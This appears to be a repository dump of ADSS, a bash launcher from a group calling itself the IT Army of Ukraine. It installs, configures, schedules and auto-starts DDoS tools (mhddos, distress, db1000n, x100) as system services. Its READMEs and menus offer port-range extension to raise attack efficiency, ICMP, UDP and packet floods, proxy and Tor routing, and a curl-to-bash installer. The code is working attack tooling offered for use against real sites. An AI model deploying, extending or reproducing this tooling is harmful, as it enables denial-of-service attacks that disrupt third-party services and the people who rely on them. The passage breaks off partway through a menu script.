├── .github
└── workflows
│ └── main.yml
├── LICENSE
├── README-EN.md
├── README.md
├── bin
└── adss
├── i18n
└── en.sh
├── menu
├── autoloading.sh
├── ddos_tool_managment.sh
├── ddoss.sh
├── main_menu.sh
├── menu_init.sh
├── security_configuration.sh
└── security_settings.sh
├── services
├── EnvironmentFile
├── db1000n.service
├── distress.service
├── mhddos.service
└── x100.service
├── utils
├── datapatch.sh
├── db1000n.sh
├── definitions.sh
├── dialog.sh
├── distress.sh
├── fail2ban.sh
├── mhddos.sh
├── port-extending.sh
├── translate.sh
├── ufw.sh
├── updater.sh
└── x100.sh
└── version.txt
/.github/workflows/main.yml:
--------------------------------------------------------------------------------
1 | on:
2 | release:
3 | types: [ released ]
4 | jobs:
5 | update_version:
6 | runs-on: ubuntu-latest
7 | steps:
8 | - run: echo "${{ github.event.release.tag_name }}" > version.txt
9 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 DEV TEAM IT ARMY OF UKRAINE
4 | leernd007
5 | panchvitm
6 | iasyr
7 | OleksandrBlack
8 |
9 | Permission is hereby granted, free of charge, to any person obtaining a copy
10 | of this software and associated documentation files (the "Software"), to deal
11 | in the Software without restriction, including without limitation the rights
12 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
13 | copies of the Software, and to permit persons to whom the Software is
14 | furnished to do so, subject to the following conditions:
15 |
16 | The above copyright notice and this permission notice shall be included in all
17 | copies or substantial portions of the Software.
18 |
19 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
20 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
21 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
22 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
23 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
24 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
25 | SOFTWARE.
--------------------------------------------------------------------------------
/README-EN.md:
--------------------------------------------------------------------------------
1 | ## Automatic DDoS Server Starter from IT Army Ukraine (ADSS)
2 |
3 | ADSS is a Shell script that automatically updates itself and determines the version, bitness, and distribution of your Linux OS.
4 |
5 | Tested support for the current version :
6 |
7 | Ubuntu, Debian, Fedora, Centos, Arch Linux, Kali Linux, Parrot Security OS, Rocky Linux, AlmaLinux OS, Manjaro, Oracle Linux, Void Linux (х86,х64,arm)
8 |
9 | #### [Українська версія - нажміть сюди](/README.md)
10 | #### 💁 [Technical support](https://t.me/+H6PnjkydZX0xNDky)
11 |
12 | ### 💽 Installation
13 |
14 | Use this command for installation :
15 |
16 | ```
17 | curl -sL https://raw.githubusercontent.com/it-army-ua-scripts/ADSS/install/install.sh | bash -s
18 | ```
19 |
20 | During the installation, the script automatically installs the necessary packages :
21 |
22 | `zip, unzip, gnupg, ca-certificates, curl, git, dialog`
23 |
24 | Working directory:
25 |
26 | `/opt/itarmy`
27 |
28 | ### 🛠 Managing ADSS
29 |
30 | To launch ADSS :
31 |
32 | ```
33 | adss
34 | ```
35 |
36 | To launch ADSS in English :
37 |
38 | ```
39 | adss --lang en
40 | ```
41 |
42 | This command automatically installs the necessary DDoS tools for your system, sets up brute force protection, installs a firewall, launches MHDDOS, and adds MHDDOS to system auto-start. The log of the process is displayed in real time :
43 |
44 | ```
45 | adss --auto-install
46 | ```
47 |
48 | For full script renovation\reinstallation to default settings :
49 |
50 | ```
51 | adss --restore
52 | ```
53 |
54 | View current ADSS settings :
55 |
56 | ```
57 | adss config
58 | ```
59 |
60 | Uninstall ADSS :
61 |
62 | ```
63 | adss --uninstall
64 | ```
65 |
66 | ### ✪ Menu items
67 |
68 | Expand
69 |
70 | - **Install Docker - (optional, not mandatory)**
71 |
72 | - **Extend ports (optional, not mandatory):**
73 |
74 | To increase the efficiency of DDOS attacks, specifically on the Linux OS, it is necessary to allow a multitude of outgoing network connections, you need to increase the local range of TCP ports. This happens by adding the line `net.ipv4.ip_local_port_range=16384 65535` to the `/etc/sysctl.conf` file.
75 |
76 | - **Security Settings - (optional, not mandatory)**
77 | - **Install protection:**
78 |
79 | Automatically installs in the INACTIVE state UFW Firewall and protection against bruteforce Fail2ban
80 |
81 | - **Security Settings - (optional, not mandatory)**
82 |
83 | - **Firewall settings:**
84 |
85 | All incoming traffic is prohibited, except for 22/tcp port for connecting to the machine via SSH, all outgoing traffic is allowed.
86 |
87 | - **Setting up protection against bruteforce:**
88 |
89 | Allows 3 attempts to connect via SSH, in case of unsuccessful attempts (wrong login or password) blocks the attacking ip for 10 minutes.
90 |
91 | - **DDOS**
92 |
93 | - **Installing DDOS tools:**
94 |
95 | Automatic installation of db1000n, distress, mhddos of the appropriate architecture and bit depth for the corresponding machine. For each utility, in addition to downloading, a system service is created. This allows you to monitor its status and in case of a failure or reboot of the machine automatically start it again.
96 |
97 | - **DDOS tool management**
98 |
99 | - **Attack status:**
100 |
101 | View the log of the running utility in real time with automatic update of the output.
102 |
103 | - **Setting up auto-launch:**
104 |
105 | Automatic start of ddos utility when the machine is turned on\rebooted.
106 |
107 | - **Stop the attack:**
108 |
109 | The item is displayed only in the case of an active ddos utility.
110 |
111 | - **MHDDOS**
112 |
113 | - **Start/Stop MHDDOS:**
114 |
115 | Changes depending on the current state. Start a ddos attack.
116 |
117 | - **Setting up MHDDOS:**
118 |
119 | Clear step-by-step fine tuning of the utility to increase\decrease the load on the system, the effectiveness of the attack by adding appropriate launch parameters for the utility. (optional, not mandatory)
120 |
121 | - **MHDDOS status:**
122 |
123 | Displays the current status of the ddos utility service (active\dead) with the current fine-tuning launch parameters.
124 |
125 | - **The "DISTRESS" and "DB1000N" items are similar to "MHDDOS"**
126 |
127 |
128 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Автоматичний старт сервера DDoS від IT Army Ukraine (ADSS)
2 |
3 | ADSS - це скрипт, написаний на Shell, який автоматично оновлює себе і визначає версію, розрядність та дистрибутив вашої ОС Linux.
4 |
5 | Протестована підтримка поточної версії :
6 |
7 | Ubuntu, Debian, Fedora, Centos, Arch Linux, Kali Linux, Parrot Security OS, Rocky Linux, AlmaLinux OS, Manjaro, Oracle Linux, Void Linux (х86,х64,arm)
8 |
9 | #### [English version - click here](/README-EN.md)
10 | #### 💁 [Технічна підтримка](https://t.me/+H6PnjkydZX0xNDky)
11 |
12 | ### 💽 Встановлення та запуск
13 |
14 | Використовуйте цю команду для встановлення :
15 |
16 | ```
17 | curl -sL https://raw.githubusercontent.com/it-army-ua-scripts/ADSS/install/install.sh | bash -s
18 | ```
19 |
20 | Під час встановлення скрипт автоматично встановлює потрібні пакети:
21 |
22 | `zip, unzip, gnupg, ca-certificates, curl, git, dialog`
23 |
24 | Робоча директорія:
25 |
26 | `/opt/itarmy`
27 |
28 | ### 🛠 Керування ADSS
29 |
30 | Запуск ADSS :
31 |
32 | ```
33 | adss
34 | ```
35 |
36 | Запуск ADSS англійською мовою :
37 |
38 | ```
39 | adss --lang en
40 | ```
41 |
42 | Ця команда автоматично встановлює потрібні інструменти DDoS для вашої системи, налаштовує захист від брутфорса, встановлює фаєрвол, запускає MHDDOS і додає MHDDOS до автозавантаження системи. Лог процесу відображається в реальному часі :
43 |
44 | ```
45 | adss --auto-install
46 | ```
47 |
48 | Повне відновлення\перевстановлення скрипта до налаштувань за замовчуванням :
49 |
50 | ```
51 | adss --restore
52 | ```
53 |
54 | Перегляд поточних налаштувань ADSS :
55 |
56 | ```
57 | adss config
58 | ```
59 |
60 | Видалити ADSS :
61 |
62 | ```
63 | adss --uninstall
64 | ```
65 |
66 | ### ✪ Пункти меню
67 |
68 | Розгорнути
69 |
70 | - **Встановити Docker - (пункт за бажанням, не є обов’язковим)**
71 |
72 | - **Розширення портів - (пункт за бажанням, не є обов’язковим) :**
73 |
74 | Для підвищення ефективності DDOS атаки, а саме на ОС Linux потрібно дозволити відкривати безліч вихідних мережевих підключень, необхідно збільшити локальний діапазон портів TCP. Це відбувається шляхом додавання до файлу `/etc/sysctl.conf` строки `net.ipv4.ip_local_port_range=16384 65535`.
75 |
76 | - **Налаштування безпеки - (пункт за бажанням, не є обов’язковим)**
77 | - **Встановлення захисту :**
78 |
79 | Автоматично встановлюється у НЕ активному стані UFW Firewall та захист від брутфорса Fail2ban
80 |
81 | - **Налаштування захисту**
82 |
83 | - **Налаштування фаєрвола :**
84 |
85 | Забороняється весь вхідний трафік, окрім по 22/tcp порту для підключення до машини по SSH, дозволяється весь вихідний трафік.
86 |
87 | - **Налаштування захисту від брутфорса :**
88 |
89 | Дозволяє 3 спроби підключення по SSH, у випадку невдалих спроб (не вірний логін чи пароль) блокує атакуючий ip на 10 хвилин.
90 |
91 | - **DDOS**
92 |
93 | - **Встановлення ддос інструментів :**
94 |
95 | Автоматичне встановлення db1000n, distress, mhddos відповідної архітектури та розрядності для відповідної машини. Для кожної утиліти окрім завантаження, створюється системна служба. Це дозволяє стежити за її станом і у випадку збою чи перезавантаження машини автоматично запустити її знову.
96 |
97 | - **Управління ддос інструментами**
98 |
99 | - **Статус атаки :**
100 |
101 | Перегляд логу запущеної утиліти в реальному часі з автоматичним оновленням виводу.
102 |
103 | - **Налаштування автозапуску :**
104 |
105 | Автоматичний запуск ddos утиліти при включенні\перезавантаженні машини.
106 |
107 | - **Зупинити атаку :**
108 |
109 | Пункт відображається тільки у разі активної ддос утиліти.
110 |
111 | - **MHDDOS**
112 |
113 | - **Запуск/Зупинка MHDDOS :**
114 |
115 | Змінюється у залежності від поточного стану. Почати ддос атаку.
116 |
117 | - **Налаштування MHDDOS :**
118 |
119 | Зрозуміле покрокове тонке налаштування утиліти для збільшення\зменшення навантаження на систему, ефективності атаки шляхом додавання відповідних параметрів запуску для утиліти. (пункт за бажанням, не є обов’язковим)
120 |
121 | - **Статус MHDDOS :**
122 |
123 | Відображає поточний статус служби ддос утиліти (активна\мертва) з поточними параметрами запуску тонкого налаштування.
124 |
125 | - **Пункти «DISTRESS» та «DB1000N» аналогічні до «MHDDOS»**
126 |
127 |
--------------------------------------------------------------------------------
/bin/adss:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | export SCRIPT_DIR="$(
4 | cd "$(
5 | dirname "$(
6 | (readlink "${BASH_SOURCE[0]}" || echo "${BASH_SOURCE[0]}") |
7 | sed -e "s#^../#$(dirname "$(dirname "${BASH_SOURCE[0]}")")/#"
8 | )"
9 | )/.." >/dev/null &&
10 | pwd
11 | )"
12 | OSARCH=$(uname -m)
13 | source "$SCRIPT_DIR/utils/translate.sh"
14 |
15 | localization_file=$(apply_localization "$@")
16 | if [[ -n "$localization_file" ]]; then
17 | source "$localization_file"
18 | fi
19 |
20 | if [ $? -ne 0 ]; then
21 | echo "$(trans "Неправильний вхідний параметр!")"
22 | 1>&2
23 | exit 1
24 | fi
25 | export TOOL_DIR="$SCRIPT_DIR/bin"
26 | export GREEN='\033[0;32m'
27 | export GRAY='\033[0;37m'
28 | export RED='\033[0;31m'
29 | export NC='\033[0m'
30 | export ORANGE='\033[0;33m'
31 |
32 | source_files_in_directory() {
33 | local directory="$1"
34 |
35 | if [[ -d "$directory" ]]; then
36 | local files=("$directory"/*)
37 |
38 | for file in "${files[@]}"; do
39 | if [[ -f "$file" ]]; then
40 | source "$file"
41 | fi
42 | done
43 | else
44 | echo -e "${RED}$(trans "Не знайдено папку '$directory'.")${NC}"
45 | fi
46 | }
47 | source_files_in_directory "$SCRIPT_DIR/utils"
48 | source_files_in_directory "$SCRIPT_DIR/menu"
49 |
50 | sudo find "/var/log/" -name "adss.log" -size +300M -execdir sh -c 'truncate -s 0 adss.log' \;
51 |
52 | if [[ -f "$TOOL_DIR/db1000n" ]]; then
53 | rm -f "$TOOL_DIR/db1000n"
54 | sudo systemctl stop db1000n.service >/dev/null 2>&1
55 | db1000n_auto_disable >/dev/null 2>&1
56 | sudo rm -r /etc/systemd/system/db1000n.service >/dev/null 2>&1
57 | fi
58 |
59 | if [ "$1" = "--auto-install" ]; then
60 | check_updates
61 | apply_patch
62 |
63 | install_fail2ban
64 | configure_fail2ban
65 | install_ufw
66 | configure_ufw
67 | # install_db1000n
68 | install_distress
69 |
70 | is_not_arm_arch
71 | if [[ $? == 1 ]]; then
72 | install_mhddos
73 | mhddos_run
74 | mhddos_auto_enable
75 | fi
76 | extend_ports
77 | get_ddoss_status
78 | elif [ "$1" = "--restore" ]; then
79 |
80 | is_not_arm_arch
81 | if [[ $? == 1 ]]; then
82 | mhddos_stop
83 | mhddos_auto_disable >/dev/null 2>&1
84 | sudo rm -rf /tmp/_MEI* >/dev/null 2>&1
85 | fi
86 |
87 | db1000n_stop
88 | db1000n_auto_disable >/dev/null 2>&1
89 |
90 | distress_stop
91 | distress_auto_disable >/dev/null 2>&1
92 | sudo rm -rf /tmp/distress >/dev/null 2>&1
93 | sudo rm -r /var/log/adss.log >/dev/null 2>&1
94 | sudo rm -rf "${SCRIPT_DIR}"
95 | curl -sL https://raw.githubusercontent.com/it-army-ua-scripts/ADSS/install/install.sh | bash -s
96 | elif [ "$1" = "config" ]; then
97 | clear
98 | cat "${SCRIPT_DIR}"/services/EnvironmentFile && echo ""
99 | elif [ "$1" = "--uninstall" ]; then
100 | sudo systemctl stop distress.service >/dev/null 2>&1
101 | sudo systemctl stop db1000n.service >/dev/null 2>&1
102 | sudo systemctl stop mhddos.service >/dev/null 2>&1
103 | mhddos_auto_disable >/dev/null 2>&1
104 | db1000n_auto_disable >/dev/null 2>&1
105 | distress_auto_disable >/dev/null 2>&1
106 | sudo rm -r /etc/systemd/system/db1000n.service >/dev/null 2>&1
107 | sudo rm -r /etc/systemd/system/distress.service >/dev/null 2>&1
108 | sudo rm -r /etc/systemd/system/mhddos.service >/dev/null 2>&1
109 | sudo rm -r /usr/local/bin/adss >/dev/null 2>&1
110 | sudo rm -r /var/log/adss.log >/dev/null 2>&1
111 | sudo rm -rf "${SCRIPT_DIR}"
112 | echo -e "${GREEN}$(trans "ADSS успішно видалено")${NC}"
113 | else
114 | check_updates
115 | apply_patch
116 | source ~/.bashrc
117 | main_menu
118 | fi
--------------------------------------------------------------------------------
/i18n/en.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | declare -A localization=(
4 |
5 | ["Неправильний вхідний параметр!"]="Invalid input parameter!"
6 | ["Не знайдено папку '$directory'."]="'$directory' folder not found."
7 |
8 | ["Вимкнути автозапуск MHDDOS"]="Disable autostart for MHDDOS"
9 | ["Увімкнути автозапуск MHDDOS"]="Enable autostart for MHDDOS"
10 | ["Вимкнути автозапуск DB1000N"]="Disable autostart for DB1000N"
11 | ["Увімкнути автозапуск DB1000N"]="Enable autostart for DB1000N"
12 | ["Вимкнути автозапуск DISTRESS"]="Disable autostart for DISTRESS"
13 | ["Увімкнути автозапуск DISTRESS"]="Enable autostart for DISTRESS"
14 | ["Вимкнути автозапуск X100"]="Disable autostart for X100"
15 | ["Увімкнути автозапуск X100"]="Enable autostart for X100"
16 | ["Повернутись назад"]="Go back"
17 | ["Налаштування автозапуску"]="Autostart settings"
18 |
19 | ["Зупиняємо атаку"]="Stopping the attack"
20 | ["Атака зупинена"]="Attack stopped"
21 | ["Запущено"]="Started"
22 | ["Нажміть будь яку клавішу щоб продовжити"]="Press any key to continue"
23 | ["Немає запущених процесів"]="No processes running"
24 | ["Статус атаки"]="Attack status"
25 | ["Зупинити атаку"]="Stop an attack"
26 | ["Управління ддос інструментами"]="DDOS tool management"
27 | ["Встановлення ддос інструментів"]="Install DDOS tools"
28 | ["Управління ддос інструментами"]="Manage DDOS tools"
29 |
30 | ["Для збору особистої статистики та відображення у лідерборді на офіційному сайті."]="To gather personal statistics and display on the leaderboard on the official website."
31 | ["Надається Telegram ботом"]="Provided by the Telegram bot"
32 | ["Щоб пропустити, натисніть Enter"]="To skip, press Enter"
33 |
34 | ["Розширення портів"]="Port extension"
35 | ["Налаштування безпеки"]="Security settings"
36 | ["Головне меню"]="Main menu"
37 | ["Налаштування фаєрвола"]="Firewall settings"
38 | ["Налаштування захисту від брутфорса"]="Bruteforce protection settings"
39 | ["Вихід"]="Exit"
40 | ["Оберіть опцію:"]="Choose an option:"
41 | ["ДДОС інструменти не встановлено"]="No DDOS tools installed"
42 |
43 | ["Встановлення захисту"]="Install protection"
44 | ["Налаштування захисту"]="Protection settings"
45 |
46 | ["Налаштування безпеки"]="Security settings"
47 | ["DB1000N додано до автозавантаження"]="DB1000N added to autostart"
48 | ["DB1000N видалено з автозавантаження"]="DB1000N removed from autostart"
49 | ["MHDDOS додано до автозавантаження"]="MHDDOS added to autostart"
50 | ["MHDDOS видалено з автозавантаження"]="MHDDOS removed from autostart"
51 | ["DISTRESS додано до автозавантаження"]="DISTRESS added to autostart"
52 | ["DISTRESS видалено з автозавантаження"]="DISTRESS removed from autostart"
53 | ["X100 додано до автозавантаження"]="X100 added to autostart"
54 | ["X100 видалено з автозавантаження"]="X100 removed from autostart"
55 | ["DB1000N не встановлений, будь ласка встановіть і спробуйте знову"]="DB1000N is not installed, please install and try again"
56 | ["MHDDOS не встановлений, будь ласка встановіть і спробуйте знову"]="MHDDOS is not installed, please install and try again"
57 | ["DISTRESS не встановлений, будь ласка встановіть і спробуйте знову"]="DISTRESS is not installed, please install and try again"
58 | ["X100 не встановлений, будь ласка встановіть і спробуйте знову"]="X100 is not installed, please install and try again"
59 |
60 |
61 | ["Зупинка DB1000N"]="Stop DB1000N"
62 | ["Запуск DB1000N"]="Start DB1000N"
63 | ["Зупинка MHDDOS"]="Stop MHDDOS"
64 | ["Запуск MHDDOS"]="Start MHDDOS"
65 | ["Зупинка DISTRESS"]="Stop DISTRESS"
66 | ["Запуск DISTRESS"]="Start DISTRESS"
67 | ["Зупинка X100"]="Stop X100"
68 | ["Запуск X100"]="Start X100 "
69 |
70 | ["Налаштування DB1000N"]="DB1000N settings"
71 | ["Статус DB1000N"]="DB1000N status"
72 | ["Налаштування MHDDOS"]="MHDDOS settings"
73 | ["Статус MHDDOS"]="MHDDOS status"
74 | ["Налаштування DISTRESS"]="DISTRESS settings"
75 | ["Статус DISTRESS"]="DISTRESS status"
76 | ["Налаштування X100"]="X100 settings"
77 | ["Статус X100"]="X100 status"
78 |
79 | ["Встановлюємо DB1000N"]="Installing DB1000N"
80 | ["DB1000N успішно встановлено"]="DB1000N installed successfully"
81 | ["Встановлюємо MHDDOS"]="Installing MHDDOS"
82 | ["MHDDOS успішно встановлено"]="MHDDOS installed successfully"
83 | ["Встановлюємо DISTRESS"]="Installing DISTRESS"
84 | ["DISTRESS успішно встановлено"]="DISTRESS installed successfully"
85 |
86 | ["Встановлюємо Docker"]="Installing Docker"
87 | ["Docker успішно встановлено"]="Docker installed successfully"
88 |
89 | ["Встановлюємо Fail2ban"]="Installing Fail2ban"
90 | ["Fail2ban успішно встановлено"]="Fail2ban installed successfully"
91 | ["Налаштовуємо Fail2ban"]="Setting Fail2ban"
92 | ["Fail2ban успішно налаштовано"]="Fail2ban set up successfully"
93 | ["Fail2ban не встановлений, будь ласка встановіть і спробуйте знову"]="Fail2ban is not installed, please install and try again"
94 | ["Увімкнути захист від брутфорсу"]="Enable brute force protection"
95 | ["Вимкнути захист від брутфорсу"]="Disable brute force protection"
96 | ["Fail2ban успішно увімкнено"]="Fail2ban successfully enabled"
97 | ["Fail2ban успішно вимкнено"]="Fail2ban successfully disabled"
98 |
99 | ["Встановлюємо UFW фаєрвол"]="Installing UFW firewall"
100 | ["Фаєрвол UFW встановлено і деактивовано"]="UFW firewall installed and deactivated"
101 | ["Фаєрвол UFW налаштовано і активовано"]="UFW firewall set up and activated"
102 | ["UFW не встановлений, будь ласка встановіть і спробуйте знову"]="UFW is not installed, please install and try again"
103 | ["Налаштовуємо UFW фаєрвол"]="Setting UFW firewall"
104 | ["Увімкнути фаервол"]="Enable UFW firewall"
105 | ["Вимкнути фаервол"]="Disable UFW firewall"
106 | ["UFW успішно увімкнено"]="UFW successfully enabled"
107 | ["UFW успішно вимкнено"]="UFW successfully disabled"
108 |
109 | ["Залишіть пустим якщо бажаєте видалити пераметри"]="Leave blank if you want to delete parameters"
110 | ["Автооновлення (1 | 0): "]="Autoupdate (1 | 0): "
111 | ["Будь ласка введіть правильні значення"]="Please enter the correct values"
112 | ["Проксі (шлях до файлу або веб-ресурсу): "]="Proxy (path to file or web resource): "
113 | ["Проксі (шлях до файлу): "]="Proxy (path to file): "
114 | ["Масштабування (1 | X): "]="Scaling (1 | X): "
115 | ["Список проксі у форматі"]="List of proxies in format"
116 | ["або"]="or"
117 | ["Укажіть протокол, якщо формат"]="Specify the protocol if the format is"
118 | ["Протокол проксі (socks5, socks4): "]="Proxy protocol (socks5, socks4): "
119 |
120 | ["Відсоткове співвідношення використання власної IP адреси (0-100): "]="Percentage of personal IP address usage (0-100): "
121 |
122 | ["Увімкнути ICMP флуд (1 | 0): "]="Enable ICMP flood (1 | 0): "
123 | ["Увімкнути packet флуд (1 | 0): "]="Enable packet flood (1 | 0): "
124 | ["Вимкнути UDP флуд (1 | 0): "]="Disable UDP flood (1 | 0): "
125 | ["Кількість пакетів (1-100): "]="Number of packets (1-100): "
126 |
127 |
128 | ["Розмір UDP пакунку (576-1420): "]="UDP packet size (576-1420): "
129 | ["Кількість підключень Tor (0-100): "]="Number of Tor connections (0-100): "
130 | ["Кількість створювачів завдань (50-100000): "]="Number of task creators (50-100000): "
131 |
132 | ["Відсутня реалізація MHDDOS для x86 архітектури, що відповідає 32-бітній розрядності"]="There's no MHDDOS implementation for the x86 architecture that corresponds to the 32-bit variant"
133 | ["Неможливо визначити розрядность операційної системи"]="Unable to determine the operating system's bit depth"
134 |
135 | ["Юзер ІД: "]="User ID: "
136 | ["Мова (ua | en | es | de | pl | it): "]="Language (ua | en | es | de | pl | it): "
137 | ["Кількість копій (auto | X): "]="Number of copies (auto | X): "
138 | ["Успішно виконано"]="Execution successful"
139 |
140 | ["Порти успішно розширено"]="Ports successfully extended"
141 | ["Наразі всі порти розширено"]="All ports are currently extended"
142 | ["Не можливо виконати дію"]="Unable to perform the action"
143 |
144 | ["Перевіряємо наявність оновлень"]="Checking for updates"
145 | ["Оновляємо ADSS"]="Updating ADSS"
146 | ["ADSS успішно оновлено"]="ADSS updated successfully"
147 | ["Встановлена версія"]="Installed Version"
148 | ["Актуальна версія"]="Latest Version"
149 |
150 | ["Назва інтерфейсу (ensXXX, ethX, тощо.)"]="Interface name (ensXXX, ethX, etc.)"
151 | ["Мережеві інтерфейси (через кому: eth0,eth1,тощо.)"]="Interface names (Comma separated: eth0,eth1,etc.)"
152 | ["Мережеві інтерфейси (через пробіл: eth0 eth1 тощо.)"]="Interface names (Space separated: eth0 eth1 etc.)"
153 | ["Інтерфейс: "]="Interface: "
154 | ["Інтерфейси: "]="Interfaces: "
155 | ["ADSS успішно видалено"]="ADSS was deleted successfully"
156 |
157 | ["Керування розкладом MHDDOS"]="Manage MHDDOS schedule"
158 | ["Керування розкладом DISTRESS"]="Manage DISTRESS schedule"
159 | ["Керування розкладом X100"]="Manage X100 schedule"
160 | ["Увімкнути автозапуск X100"]="Enable autostart for X100"
161 |
162 | ["Або згенеруйте його за посиланням"]="Or generate it via the link"
163 | ["Зверніть увагу на ваш час командою"]="Pay attention to your time by command"
164 | ["Наприклад:"]="For example:"
165 | ["Запуск MHDDOS о 20:00 щодня"]="MHDDOS starts at 8:00 PM every day"
166 | ["Зупинка MHDDOS о 08:00 щодня"]="MHDDOS stop at 08:00 daily"
167 | ["Запуск DISTRESS о 20:00 щодня"]="DISTRESS starts at 8:00 PM every day"
168 | ["Зупинка DISTRESS о 08:00 щодня"]="DISTRESS stop at 08:00 daily"
169 | ["Запуск X100 о 20:00 щодня"]="X100 starts at 8:00 PM every day"
170 | ["Зупинка X100 о 08:00 щодня"]="X100 stop at 08:00 daily"
171 | ["Введіть cron-час для ЗАПУСКУ (формат: * * * * *): "]="Enter cron time to START (format: * * * * *): "
172 | ["Введіть cron-час для ЗУПИНКИ (формат: * * * * *): "]="Enter cron time for STOP (format: * * * * *): "
173 | ["Запуск MHDDOS за розкладом припинено"]="Scheduled MHDDOS launch stopped"
174 | ["Запуск X100 за розкладом припинено"]="Scheduled X100 launch stopped"
175 | ["Запуск DISTRESS за розкладом припинено"]="Scheduled X100 launch stopped"
176 | ["Запустити MHDDOS за розкладом?"]="Run MHDDOS on a schedule?"
177 | ["Запустити DISTRESS за розкладом?"]="Run DISTRESS on a schedule?"
178 | ["Запустити X100 за розкладом?"]="Run X100 on a schedule?"
179 | ["MHDDOS буде ЗАПУЩЕНО за розкладом"]="MHDDOS will be RUNNING on schedule"
180 | ["DISTRESS буде ЗАПУЩЕНО за розкладом"]="DISTRESS will be RUNNING on schedule"
181 | ["X100 буде ЗАПУЩЕНО за розкладом"]="X100 will be RUNNING on schedule"
182 | ["Так"]="Yes"
183 | ["Ні"]="No"
184 | ["Зупинити запуск MHDDOS за розкладом"]="Stop MHDDOS from running on a schedule"
185 | ["Зупинити запуск DISTRESS за розкладом"]="Stop DISTRESS from running on a schedule"
186 | ["Зупинити запуск X100 за розкладом"]="Stop X100 from running on a schedule"
187 | ["Запуск MHDDOS за розкладом успішно ПРИПИНЕНО"]="Scheduled MHDDOS launch successfully STOPPED"
188 | ["Запуск DISTRESS за розкладом успішно ПРИПИНЕНО"]="Scheduled DISTRESS launch successfully STOPPED"
189 | ["Запуск X100 за розкладом успішно ПРИПИНЕНО"]="Scheduled X100 launch successfully STOPPED"
190 | ["хвилина"]="minute"
191 | ["година"]="hour"
192 | ["день місяця"]="day of the month"
193 | ["місяць"]="month"
194 | ["день тижня"]="day of the week"
195 | )
196 |
197 | export localization
--------------------------------------------------------------------------------
/menu/autoloading.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | autoload_configuration() {
4 | menu_items=()
5 | if mhddos_installed ; then
6 | is_not_arm_arch
7 | if [[ $? == 1 ]]; then
8 | if mhddos_enabled; then
9 | mhddos_item_menu="$(trans "Вимкнути автозапуск MHDDOS")"
10 | else
11 | mhddos_item_menu="$(trans "Увімкнути автозапуск MHDDOS")"
12 | fi
13 | mhddos_scheduler="$(trans "Керування розкладом MHDDOS")"
14 | menu_items+=("$mhddos_item_menu" "$mhddos_scheduler")
15 | check_if_mhddos_running_on_schedule
16 | if [[ $? == 0 ]]; then
17 | mhddos_scheduler_stop="$(trans "Зупинити запуск MHDDOS за розкладом")"
18 | menu_items+=("$mhddos_scheduler_stop")
19 | fi
20 | fi
21 | fi
22 |
23 | # if db1000n_installed ; then
24 | # if db1000n_enabled; then
25 | # db1000n_item_menu="$(trans "Вимкнути автозапуск DB1000N")"
26 | # else
27 | # db1000n_item_menu="$(trans "Увімкнути автозапуск DB1000N")"
28 | # fi
29 | # menu_items+=("$db1000n_item_menu")
30 | # fi
31 |
32 | if distress_installed ; then
33 | if distress_enabled; then
34 | distress_item_menu="$(trans "Вимкнути автозапуск DISTRESS")"
35 | else
36 | distress_item_menu="$(trans "Увімкнути автозапуск DISTRESS")"
37 | fi
38 | distress_scheduler="$(trans "Керування розкладом DISTRESS")"
39 | menu_items+=("$distress_item_menu" "$distress_scheduler")
40 | check_if_distress_running_on_schedule
41 | if [[ $? == 0 ]]; then
42 | distress_scheduler_stop="$(trans "Зупинити запуск DISTRESS за розкладом")"
43 | menu_items+=("$distress_scheduler_stop")
44 | fi
45 | fi
46 |
47 | if x100_installed; then
48 | if x100_enabled; then
49 | x100_item_menu="$(trans "Вимкнути автозапуск X100")"
50 | else
51 | x100_item_menu="$(trans "Увімкнути автозапуск X100")"
52 | fi
53 | x100_scheduler="$(trans "Керування розкладом X100")"
54 | menu_items+=("$x100_item_menu" "$x100_scheduler")
55 | check_if_x100_running_on_schedule
56 | if [[ $? == 0 ]]; then
57 | x100_scheduler_stop="$(trans "Зупинити запуск X100 за розкладом")"
58 | menu_items+=("$x100_scheduler_stop")
59 | fi
60 | fi
61 |
62 | if [[ ${#menu_items[@]} -eq 0 ]]; then
63 | confirm_dialog "$(trans "ДДОС інструменти не встановлено")"
64 | ddos_tool_managment
65 | fi
66 |
67 | menu_items+=("$(trans "Повернутись назад")")
68 |
69 | res=$(display_menu "$(trans "Налаштування автозапуску")" "${menu_items[@]}")
70 |
71 | case "$res" in
72 | "$(trans "Керування розкладом MHDDOS")")
73 | mhddos_configure_scheduler
74 | ;;
75 | "$(trans "Зупинити запуск MHDDOS за розкладом")")
76 | stop_mhddos_on_schedule
77 | confirm_dialog "$(trans "Запуск MHDDOS за розкладом успішно ПРИПИНЕНО")"
78 | autoload_configuration
79 | ;;
80 | "$(trans "Керування розкладом DISTRESS")")
81 | distress_configure_scheduler
82 | ;;
83 | "$(trans "Зупинити запуск DISTRESS за розкладом")")
84 | stop_distress_on_schedule
85 | confirm_dialog "$(trans "Запуск DISTRESS за розкладом успішно ПРИПИНЕНО")"
86 | autoload_configuration
87 | ;;
88 | "$(trans "Керування розкладом X100")")
89 | x100_configure_scheduler
90 | ;;
91 | "$(trans "Зупинити запуск X100 за розкладом")")
92 | stop_x100_on_schedule
93 | confirm_dialog "$(trans "Запуск X100 за розкладом успішно ПРИПИНЕНО")"
94 | autoload_configuration
95 | ;;
96 | "$(trans "Вимкнути автозапуск MHDDOS")")
97 | mhddos_auto_disable
98 | autoload_configuration
99 | ;;
100 | "$(trans "Увімкнути автозапуск MHDDOS")")
101 | mhddos_auto_enable
102 | autoload_configuration
103 | ;;
